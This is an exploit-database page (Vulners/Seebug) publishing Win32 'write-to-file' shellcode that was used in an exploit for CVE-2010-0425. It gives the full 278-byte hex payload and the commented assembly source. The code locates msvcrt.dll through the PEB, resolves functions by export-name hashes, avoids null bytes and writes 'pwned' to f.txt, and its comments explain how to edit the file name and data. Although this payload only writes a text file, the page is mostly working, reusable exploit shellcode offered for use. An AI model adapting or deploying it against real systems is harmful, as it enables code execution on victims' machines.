Lucene search
K

Write-to-file Shellcode (Win32)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 2601 Views

Write-to-file Shellcode (Win32) used in exploit for CVE-2010-0425 on various Windows versions. Shellcode checks for presence of "msvcrt.dll" and writes "pwned" to file "f.txt

Related
Code

                                                ; Write-to-file Shellcode
;
; This shellcode was used in the exploit for: CVE-2010-0425
; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7
;
; Size: 278 bytes
; ////////////////////////////////////////////////////////////////////////////////
; \x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b\x7e\x20
; \x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94\x6c\x66\x39\x0f
; \x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05
; \x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31
; \xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28
; \x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01
; \xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4
; \x0c\x01\x66\x81\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75
; \xde\xc3\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b
; \xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31\xd2\x58
; \x88\x50\x05\xeb\x2d\x31\xd2\x59\x88\x51\x01\xeb\x2c\x51\x50\xff\x55\x04\xeb\x2a
; \x31\xd2\x59\x88\x51\x05\xeb\x2d\x51\x50\x89\xc6\xff\x55\x08\x53\xff\x55\x0c\xe8
; \xd1\xff\xff\xff\x66\x2e\x74\x78\x74\x4e\xe8\xce\xff\xff\xff\x77\x4e\xe8\xcf\xff
; \xff\xff\xe8\xd1\xff\xff\xff\x70\x77\x6e\x65\x64\x4e\xe8\xce\xff\xff\xff
; ////////////////////////////////////////////////////////////////////////////////
;
; Origin: http://www.senseofsecurity.com.au
; Written by Brett Gervasoni (brettg [at] senseofsecurity.com.au)
;
; By default the shellcode will write "pwned" to a text file titled "f.txt" in 
; the current working directory. 
;
; Editable parameters:
; Line 228: Filename
;           Be sure to update the length on line 185
; Line 232: Access mode
;           Be sure to update the length on line 193
; Line 239: Data (text to be written)
;           Be sure to update the length on line 208

[SECTION .text]
global _start

_start:
	; if it matters what is on the stack, then allocate space - otherwise, who cares we are exiting anyway?
	; save bytes by not including it...
	;sub esp, 0x0c ; allocate space on the stack for funct addresses
	
; ======================= Find the base address of msvcrt.dll =======================
	; By checking if a entry in the InInitializationOrder list has a null byte in position
	; 20 we can find the base addr of msvcrt.dll on Windows 7 and Vista. 
	; "msvcrt.dll" is equal to 10 bytes, so in unicode, its 20 bytes long. 
	; kernel32.dll can be found in a similar fashion. "kernel32.dll" is 12 bytes long though. 
	; on WinXP the InInitializationOrder list is as follows: ntdll.dll, kernel32.dll, msvcrt.dll
	; On Windows Server 2003, msvcrt.dll is in position 5 and before this dll is checked, RPCRT4.dll
	; is checked. Which matches the length of msvcrt.dll, as a result the base address of RPCRT4.dll
	; is used. Obviously this is no good. To solve this problem i made the shellcode check for the 
	; presents of 'm' in position 0 as well . 
	xor eax, eax           ; make sure it is 0
	xor ecx, ecx           ; ECX = 0
    mov esi, [fs:ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
    mov esi, [esi+0x0c]    ; ESI = PEB->Ldr
    mov esi, [esi+0x1c]    ; ESI = PEB->Ldr.InInitOrder
NextModule:
	mov edx, [esi+0x08]    ; EDX = InInitOrder[X].base_address
    mov edi, [esi+0x20]    ; EDX = InInitOrder[X].module_name (unicode)
    mov esi, [esi]         ; ESI = InInitOrder[X].flink (next module)
    cmp [edi+10*2], cx     ; modulename[12] == 0 ?
    jne NextModule         ; No: try next module.
	
	; extra check to find msvcrt.dll
	mov cx, 0x6d01         ; m = 0x6d
	sub cx, 0x6c94
                           ; result is 0x6d (m)
	cmp [edi], cx          ; modulename[0] == m ?
	mov cx, ax
	jne NextModule

	; base address of msvcrt.dll is now in edx
	; update ebp
	mov ebp, esp

	jmp short GetHashesSpring ; using a spring to avoid null bytes

; ======================= FUNCTIONS =======================
; Export Directory Table method
find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp
compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp short compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret

ResolveSymbolsForDLL:
    lodsd
    push eax                    ; push hashes for find_function
    push edx
    call find_function
    mov [edi], eax              ; save found function address
    ;add sp, 0x08
	add sp, 0x10c ; + 268
	sub sp, 0x104 ; - 260 = 8
    ;add di, 0x04               ; increment edi by 4 (due to function address being saved)
	add di, 0x108 ; + 264
	sub di, 0x104 ; - 260 = 4
    cmp esi, ecx                ; check if esi meets length of hash list
    jne ResolveSymbolsForDLL
ResolveSymbolsForDLLComplete:
    ret

; ====================== / FUNCTIONS ======================

GetHashesSpring:
	jmp short GetHashes ; using a spring to avoid null bytes

HashesReturn: 
    pop esi
    lea edi, [ebp + 0x04]
    mov ecx, esi
    add cl, 0x0c              ; length of function hash list

    call ResolveSymbolsForDLL

	jmp short GetFilename
	
GetHashes:
    call HashesReturn
	
    ; msvcrt.dll hash list
    ; fopen hash = 0x6E7C2EE1
    db 0x6E
    db 0x7C
    db 0x2E
    db 0xE1

    ; fprintf hash = 0x1E3C3FD7
    db 0x1E
    db 0x3C
    db 0x3F
    db 0xD7
	; since the message is small, no need to worry about closing the file
	; keep the shellcode smaller that way.
	
	; exit hash = 0x741E48CD
	db 0x74
	db 0x1E
	db 0x48
	db 0xCD

GetFilenameReturn: 
	xor edx, edx ; zero out a reg for nulls

	pop eax ; f.txt
	mov [eax+5], dl ; insert a null byte, 'f.txt'
	
	jmp short GetFileMode

GetFileModeReturn:
	xor edx, edx ; zero out a reg for nulls

	pop ecx ; w
	mov [ecx+1], dl ; insert a null byte, 'w'

	jmp short GetfopenCall ; Now jump to fopen call
	
fopenCall:	
	push ecx ; 'w'
	push eax ; push 'f.txt'
	call [ebp+4]; call fopen
	
	jmp short GetfprintfData

GetfprintfDataReturn:
	xor edx, edx ; zero out a reg for a null

	pop ecx ; push data string
	mov [ecx+5], dl ; insert a null byte
	
	jmp short GetfprintfCall

fprintfCall:	
	push ecx ; data
	push eax ; handle
	
	mov esi, eax ; we want to keep the handle for close
	
	call [ebp+8] ; call fprintf

; It needs to either exit, or call fclose to write the buffer to file. 
ExitProcessCall:
	push ebx ; ebx has 00004000 in it - who cares what we give exit?

	call [ebp+0x0c] ; exit

GetFilename:
	call GetFilenameReturn
	db 'f.txtN' ; filename

GetFileMode:
	call GetFileModeReturn
	db 'wN' ; file access mode

GetfopenCall:
	call fopenCall

GetfprintfData:
	call GetfprintfDataReturn
	db 'pwnedN' ; data to be written to file

GetfprintfCall:
	call fprintfCall
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation